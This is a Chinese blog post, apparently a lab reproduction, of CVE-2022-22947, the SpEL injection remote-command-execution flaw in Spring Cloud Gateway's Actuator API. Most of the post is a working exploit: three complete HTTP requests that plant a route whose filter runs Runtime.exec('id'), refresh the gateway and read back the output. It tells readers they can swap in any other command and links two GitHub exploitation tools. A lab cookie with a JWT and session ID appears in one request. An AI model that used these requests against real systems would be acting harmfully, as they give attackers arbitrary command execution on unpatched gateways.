Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具

Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具

名称: spring 命令执行 (CVE-2022-22947)

描述: Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

影响版本:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

第一个数据包

打开靶场抓取请求的数据包

切换成POST模式,请求这个地址,提交内容如下:返回201即为成功

可以更换请求路径中的test为你自己的方法,也可以更换value值里面的id命令为其它执行命令

bash 复制代码
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

第二个数据包

再请求这个路径:

bash 复制代码
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

123

第三个数据包

再请求这个路径命令就会被执行。

bash 复制代码
GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Cookie: b-user-id=98bc3e19-a246-205e-df14-b0f6176e841d; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAxMzMzMTQxLCJlbWFpbCI6IiJ9.AlEzzqoZtAFFONBaJRMjjMEji7OJNLT8UxrAgbttBqc; sidebarStatus=0; JSESSIONID=6F5D2993DEE6FC179A1F71F6045DE7AA
If-None-Match: "3147526947+gzip"
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
Connection: close

在这三次的请求中,会更换请求头的内容。如果发现卡住不成功的情况。那就重新抓一个包

如果要执行其它命令需要从第一步到第三步都请求一遍。

也有利用工具:

https://github.com/0x727/SpringBootExploit

https://github.com/13exp/SpringBoot-Scan-GUI

相关推荐
乾元1 天前
安全官(CISO)的困惑:AI 投入产出比(ROI)的衡量
网络·人工智能·安全·网络安全·chatgpt·架构·安全架构
CDN3601 天前
360CDN SDK 游戏盾实测:游戏防护与延迟优化
运维·游戏·网络安全
白帽子黑客罗哥1 天前
PHPStudy安装“从入门到放弃”?
网络安全·工具·安装教程·phpstudy·网络安全工程师
小江的记录本1 天前
【JWT】JWT(JSON Web Token)结构化知识体系(完整版)
前端·网络·web安全·http·网络安全·json·安全架构
BigDark的笔记1 天前
OPTEE 3.15运行在QEMU ARMv8上
网络安全·arm
Z1eaf_complete1 天前
SSRF漏洞
网络安全
Codefengfeng1 天前
web文件上传 - 极速通关版
web安全·网络安全
乾元1 天前
职业进阶: 传统安全工程师如何转型为 AI 安全专家?
网络·人工智能·安全·web安全·机器学习·网络安全·安全架构
Maryfang132918915511 天前
应对芯片涨价,光口以太网芯片国产P2P替代
人工智能·网络协议·网络安全·信息与通信
大方子1 天前
【PolarCTF】签到
网络安全·polarctf